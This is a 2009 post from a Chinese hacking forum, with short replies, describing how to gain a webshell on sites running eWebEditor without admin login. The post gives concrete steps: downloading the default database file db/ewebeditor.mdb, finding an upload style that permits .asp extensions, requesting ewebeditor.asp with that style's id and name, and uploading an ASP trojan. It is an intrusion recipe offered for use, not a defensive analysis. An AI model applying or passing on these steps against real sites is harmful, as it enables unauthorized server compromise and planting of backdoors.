Board logo

标题: [分享] ewebeditor不登陆也获得webshel [打印本页]

作者: oooooo    时间: 2009-7-12 15:38     标题: ewebeditor不登陆也获得webshel

ewebeditor入侵的时候一般是进了后台增加ASP,接着上传ASP木马就获得webshell了。

但有时候无法进后台,情况是这样,下载了数据库但是管理员md5无法破解,无法进入后台,可以利用数据库信息查找别人增加过的 asp


然后我们利用即可获得webshell


默认数据库:db/ewebeditor.mdb  下载数据库到本地

ewebeditor_style
S_ImageExt 图片,可以发现有一个存在asp
gif|jpg|jpeg|bmp|asp
gif|jpg|jpeg|bmp
gif|jpg|jpeg|bmp
gif|jpg|jpeg|bmp
gif|jpg|jpeg|bmp
gif|jpg|jpeg|bmp
gif|jpg|jpeg|bmp
gif|jpg|jpeg|bmp
gif|jpg|jpeg|bmp
gif|jpg|jpeg|bmp
gif|jpg|jpeg|bmp
gif|jpg|jpeg|bmp
gif|jpg|jpeg|bmp

ewebeditor.asp?id=s_id&style=s_name
有asp的s_id是14
s_name看看是什么,是standard

ewebeditor.asp?id=14&style=standard 修改下

上传试下

成功获得webshell
作者: 流淚╮鮭鮭    时间: 2009-7-12 16:20

本帖最后由 流淚╮鮭鮭 于 2009-7-16 02:21 编辑

每个eweb上面都会允许传ASa?
那也太神奇了。
作者: huar    时间: 2009-7-12 17:26

老大。。。说来说去还是要构造。。。别人要留给你机会才可以呀``
作者: 超超    时间: 2009-7-12 20:40

哈哈 果然如此啊!!!!
作者: kisstoo    时间: 2009-8-8 13:11

晕,瞎猫碰到死老鼠




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2